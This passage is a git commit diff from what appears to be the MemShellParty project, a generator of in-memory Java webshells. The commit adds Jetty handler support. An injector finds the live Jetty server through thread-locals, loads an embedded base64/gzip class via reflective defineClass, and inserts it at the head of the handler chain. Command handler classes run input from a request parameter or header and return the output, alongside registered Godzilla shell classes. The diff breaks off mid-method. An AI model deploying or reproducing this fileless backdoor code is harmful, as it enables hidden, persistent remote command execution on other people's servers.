mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support jetty handler shell
This commit is contained in:
@@ -69,7 +69,9 @@ public class ServerFactory {
|
|||||||
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
|
.addShellClass(HANDLER, GodzillaJettyHandler.class)
|
||||||
|
.addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
||||||
@@ -140,7 +142,9 @@ public class ServerFactory {
|
|||||||
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
|
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
|
||||||
|
.addShellClass(HANDLER, CommandJettyHandler.class)
|
||||||
|
.addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||||
|
|||||||
@@ -19,13 +19,18 @@ public class ShellType {
|
|||||||
public static final String PROXY_VALVE = "Proxy" + VALVE;
|
public static final String PROXY_VALVE = "Proxy" + VALVE;
|
||||||
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
|
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
|
||||||
|
|
||||||
|
public static final String HANDLER = "Handler";
|
||||||
|
public static final String JETTY6_HANDLER = "Jetty6Handler";
|
||||||
|
public static final String JETTY_EE_HANDLER = "JettyEEHandler";
|
||||||
|
public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
|
||||||
|
|
||||||
public static final String NETTY_HANDLER = "NettyHandler";
|
public static final String NETTY_HANDLER = "NettyHandler";
|
||||||
|
|
||||||
public static final String AGENT = "Agent";
|
public static final String AGENT = "Agent";
|
||||||
|
|
||||||
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
||||||
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
||||||
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
|
public static final String JETTY_AGENT_HANDLER = AGENT + HANDLER;
|
||||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
||||||
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
||||||
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
||||||
|
|||||||
+6
@@ -11,6 +11,7 @@ import com.reajason.javaweb.memshell.ShellType;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
|
import com.reajason.javaweb.memshell.server.Jetty;
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
@@ -52,6 +53,11 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
|
builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (server instanceof Jetty
|
||||||
|
&& (ShellType.HANDLER.equals(shellType) || ShellType.JAKARTA_HANDLER.equals(shellType))) {
|
||||||
|
builder = JettyHandlerGenerator.build(builder, shellConfig.getServerVersion());
|
||||||
|
}
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
if (shellConfig.isJakarta()) {
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
}
|
}
|
||||||
|
|||||||
+85
@@ -0,0 +1,85 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.buddy.ClassRenameVisitorWrapper;
|
||||||
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
|
import net.bytebuddy.description.field.FieldDescription;
|
||||||
|
import net.bytebuddy.description.field.FieldList;
|
||||||
|
import net.bytebuddy.description.method.MethodList;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.implementation.Implementation;
|
||||||
|
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.MethodVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import net.bytebuddy.pool.TypePool;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/2
|
||||||
|
*/
|
||||||
|
public class JettyHandlerGenerator {
|
||||||
|
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, String serverVersion) {
|
||||||
|
String superClassName = null;
|
||||||
|
DynamicType.Builder<?> newBuilder = builder;
|
||||||
|
if (serverVersion != null) {
|
||||||
|
switch (serverVersion) {
|
||||||
|
case "6":
|
||||||
|
superClassName = "org/mortbay/jetty/handler/AbstractHandler";
|
||||||
|
newBuilder = newBuilder.visit(new ClassRenameVisitorWrapper("org/eclipse/jetty/server", "org/mortbay/jetty"));
|
||||||
|
break;
|
||||||
|
case "7+":
|
||||||
|
superClassName = "org/eclipse/jetty/server/handler/AbstractHandler";
|
||||||
|
break;
|
||||||
|
case "12":
|
||||||
|
superClassName = "org/eclipse/jetty/server/Handler$Abstract";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (superClassName == null) {
|
||||||
|
throw new GenerationException("serverVersion is needed for Jetty Handler or unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7+', '12'] for shellConfig.serverVersion");
|
||||||
|
}
|
||||||
|
String finalSuperClassName = superClassName;
|
||||||
|
return newBuilder.visit(new AsmVisitorWrapper.ForDeclaredMethods() {
|
||||||
|
@Override
|
||||||
|
public ClassVisitor wrap(TypeDescription instrumentedType,
|
||||||
|
ClassVisitor classVisitor,
|
||||||
|
Implementation.Context implementationContext,
|
||||||
|
TypePool typePool,
|
||||||
|
FieldList<FieldDescription.InDefinedShape> fields,
|
||||||
|
MethodList<?> methods,
|
||||||
|
int writerFlags,
|
||||||
|
int readerFlags) {
|
||||||
|
return new ClassVisitor(Opcodes.ASM9, classVisitor) {
|
||||||
|
@Override
|
||||||
|
public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
|
||||||
|
super.visit(version, access, name, signature, finalSuperClassName, interfaces);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
|
||||||
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
|
if (!name.equals("<init>")) {
|
||||||
|
return mv;
|
||||||
|
}
|
||||||
|
return new MethodVisitor(Opcodes.ASM9, mv) {
|
||||||
|
@Override
|
||||||
|
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
|
||||||
|
if (opcode == org.objectweb.asm.Opcodes.INVOKESPECIAL &&
|
||||||
|
"java/lang/Object".equals(owner) &&
|
||||||
|
"<init>".equals(name)) {
|
||||||
|
super.visitMethodInsn(opcode, finalSuperClassName, name, descriptor, isInterface);
|
||||||
|
} else {
|
||||||
|
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
+12
-10
@@ -32,7 +32,13 @@ public class ValveGenerator {
|
|||||||
|
|
||||||
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
||||||
String packageName = null;
|
String packageName = null;
|
||||||
if (serverVersion != null) {
|
if (shell instanceof Bes) {
|
||||||
|
packageName = BES_VALVE_PACKAGE;
|
||||||
|
}
|
||||||
|
if (shell instanceof TongWeb) {
|
||||||
|
if (serverVersion == null) {
|
||||||
|
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
||||||
|
}
|
||||||
switch (serverVersion) {
|
switch (serverVersion) {
|
||||||
case "6":
|
case "6":
|
||||||
packageName = TONGWEB6_VALVE_PACKAGE;
|
packageName = TONGWEB6_VALVE_PACKAGE;
|
||||||
@@ -43,18 +49,14 @@ public class ValveGenerator {
|
|||||||
case "8":
|
case "8":
|
||||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||||
break;
|
break;
|
||||||
|
default:
|
||||||
|
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (shell instanceof Bes) {
|
if (StringUtils.isNotBlank(packageName)) {
|
||||||
packageName = BES_VALVE_PACKAGE;
|
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
||||||
}
|
}
|
||||||
if (StringUtils.isEmpty(packageName)) {
|
return builder;
|
||||||
if (shell instanceof TongWeb) {
|
|
||||||
throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
|
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
|
||||||
|
|||||||
+232
@@ -0,0 +1,232 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.jetty;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
|
||||||
|
public class JettyHandlerInjector {
|
||||||
|
|
||||||
|
private String msg = "";
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public JettyHandlerInjector() {
|
||||||
|
Object server = null;
|
||||||
|
try {
|
||||||
|
server = getServer();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "server error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (server != null) {
|
||||||
|
msg += ("server: [" + server + "] ");
|
||||||
|
try {
|
||||||
|
Object shell = getShell(server);
|
||||||
|
inject(server, shell);
|
||||||
|
msg += "[/*] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void inject(Object server, Object handler) throws Exception {
|
||||||
|
Object nextHandler = getFieldValue(server, "_handler");
|
||||||
|
if (handler.getClass().isAssignableFrom(nextHandler.getClass())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
setFieldValue(handler, "nextHandler", nextHandler);
|
||||||
|
setFieldValue(handler, "_server", server);
|
||||||
|
|
||||||
|
setFieldValue(server, "_handler", handler);
|
||||||
|
|
||||||
|
// jetty6
|
||||||
|
try {
|
||||||
|
invokeMethod(invokeMethod(server, "getContainer"), "addBean", new Class[]{Object.class}, new Object[]{handler});
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
// jetty 7/8/9/10/11/12
|
||||||
|
try {
|
||||||
|
invokeMethod(server, "addBean", new Class[]{Object.class, boolean.class}, new Object[]{handler, true});
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* org.eclipse.jetty.server.Server
|
||||||
|
*/
|
||||||
|
private Object getServer() throws Exception {
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
|
||||||
|
for (int i = 0; i < Array.getLength(table); i++) {
|
||||||
|
Object entry = Array.get(table, i);
|
||||||
|
if (entry != null) {
|
||||||
|
Object threadLocalValue = getFieldValue(entry, "value");
|
||||||
|
if (threadLocalValue != null) {
|
||||||
|
if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
|
||||||
|
return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
|
Class<?> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
for (Class<?> clazz = obj.getClass();
|
||||||
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
return clazz.getDeclaredField(name);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
try {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
|
Field field = getField(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(obj, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
throw e;
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,9 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector;
|
import com.reajason.javaweb.memshell.injector.jetty.*;
|
||||||
import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector;
|
|
||||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
@@ -45,6 +42,8 @@ public class Jetty extends AbstractServer {
|
|||||||
.addInjector(JAKARTA_FILTER, JettyFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, JettyFilterInjector.class)
|
||||||
.addInjector(SERVLET, JettyServletInjector.class)
|
.addInjector(SERVLET, JettyServletInjector.class)
|
||||||
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
|
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
|
||||||
|
.addInjector(HANDLER, JettyHandlerInjector.class)
|
||||||
|
.addInjector(JAKARTA_HANDLER, JettyHandlerInjector.class)
|
||||||
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
|
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
|
|||||||
+64
@@ -0,0 +1,64 @@
|
|||||||
|
package com.reajason.javaweb.memshell.shelltool.command;
|
||||||
|
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/15
|
||||||
|
*/
|
||||||
|
public class CommandJettyAgentHandler {
|
||||||
|
private static String paramName;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean equals(Object obj) {
|
||||||
|
Object[] args = ((Object[]) obj);
|
||||||
|
Object baseRequest = null;
|
||||||
|
Object request = null;
|
||||||
|
Object response = null;
|
||||||
|
if (args.length == 4) {
|
||||||
|
Object arg4 = args[3];
|
||||||
|
baseRequest = args[1];
|
||||||
|
if (arg4 instanceof Integer) {
|
||||||
|
// jetty6
|
||||||
|
request = args[1];
|
||||||
|
response = args[2];
|
||||||
|
} else {
|
||||||
|
request = args[2];
|
||||||
|
response = args[3];
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// ee10
|
||||||
|
request = args[0];
|
||||||
|
response = args[1];
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
|
||||||
|
if (p == null || p.isEmpty()) {
|
||||||
|
p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName);
|
||||||
|
}
|
||||||
|
if (p != null) {
|
||||||
|
String param = getParam(p);
|
||||||
|
InputStream inputStream = getInputStream(param);
|
||||||
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
|
if (baseRequest != null) {
|
||||||
|
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private String getParam(String param) {
|
||||||
|
return param;
|
||||||
|
}
|
||||||
|
|
||||||
|
private InputStream getInputStream(String param) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
+98
-31
@@ -1,37 +1,35 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
package com.reajason.javaweb.memshell.shelltool.command;
|
||||||
|
|
||||||
|
import org.eclipse.jetty.server.Handler;
|
||||||
|
import org.eclipse.jetty.server.Request;
|
||||||
|
import org.eclipse.jetty.server.Response;
|
||||||
|
import org.eclipse.jetty.util.Callback;
|
||||||
|
|
||||||
|
import javax.servlet.ServletException;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
import java.io.OutputStream;
|
import java.io.OutputStream;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.nio.ByteBuffer;
|
||||||
|
import java.nio.charset.Charset;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
|
import static java.nio.charset.StandardCharsets.UTF_8;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/5/15
|
* @since 2025/11/29
|
||||||
*/
|
*/
|
||||||
public class CommandJettyHandler {
|
public class CommandJettyHandler {
|
||||||
private static String paramName;
|
private static String paramName;
|
||||||
|
private Handler nextHandler;
|
||||||
|
|
||||||
@Override
|
public CommandJettyHandler() {
|
||||||
public boolean equals(Object obj) {
|
}
|
||||||
Object[] args = ((Object[]) obj);
|
|
||||||
Object baseRequest = null;
|
public boolean handle(Object request, Object response) {
|
||||||
Object request = null;
|
|
||||||
Object response = null;
|
|
||||||
if (args.length == 4) {
|
|
||||||
Object arg4 = args[3];
|
|
||||||
baseRequest = args[1];
|
|
||||||
if (arg4 instanceof Integer) {
|
|
||||||
// jetty6
|
|
||||||
request = args[1];
|
|
||||||
response = args[2];
|
|
||||||
} else {
|
|
||||||
request = args[2];
|
|
||||||
response = args[3];
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
// ee10
|
|
||||||
request = args[0];
|
|
||||||
response = args[1];
|
|
||||||
}
|
|
||||||
try {
|
try {
|
||||||
String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
|
String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
|
||||||
if (p == null || p.isEmpty()) {
|
if (p == null || p.isEmpty()) {
|
||||||
@@ -41,14 +39,7 @@ public class CommandJettyHandler {
|
|||||||
String param = getParam(p);
|
String param = getParam(p);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
byte[] buf = new byte[8192];
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
int length;
|
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
if (baseRequest != null) {
|
|
||||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
|
||||||
}
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
@@ -57,6 +48,51 @@ public class CommandJettyHandler {
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// jetty12
|
||||||
|
public boolean handle(Request request, Response response, Callback callback) throws Exception {
|
||||||
|
try {
|
||||||
|
Object parameters = Request.class.getMethod("extractQueryParameters", Request.class, Charset.class).invoke(null, request, UTF_8);
|
||||||
|
String p = (String) invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{paramName});
|
||||||
|
if (p == null || p.isEmpty()) {
|
||||||
|
Object headers = invokeMethod(request, "getHeaders");
|
||||||
|
p = (String) invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{paramName});
|
||||||
|
}
|
